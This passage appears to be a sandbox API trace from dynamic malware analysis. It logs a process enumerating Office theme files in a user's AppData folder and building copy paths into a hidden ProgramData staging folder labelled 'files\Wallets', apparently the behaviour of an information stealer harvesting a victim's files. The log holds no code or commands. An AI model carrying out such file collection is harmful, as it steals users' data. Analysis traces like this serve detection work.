returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457475[[fn=Frame]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" [0052.324] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.324] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457485[[fn=Mesh]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" [0052.324] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457485[[fn=Mesh]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" [0052.324] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.324] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457491[[fn=Metropolitan]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" [0052.324] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457491[[fn=Metropolitan]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" [0052.324] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.324] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457496[[fn=Parallax]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" [0052.324] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457496[[fn=Parallax]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" [0052.324] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.324] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457503[[fn=Quotable]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" [0052.324] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457503[[fn=Quotable]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" [0052.325] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.325] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457510[[fn=Savon]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" [0052.325] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457510[[fn=Savon]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" [0052.325] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.325] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457515[[fn=View]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" [0052.325] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457515[[fn=View]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" [0052.325] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.325] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033917[[fn=Berlin]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" [0052.325] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033917[[fn=Berlin]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" [0052.325] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.325] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033919[[fn=Circuit]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx" [0052.325] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033919[[fn=Circuit]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document 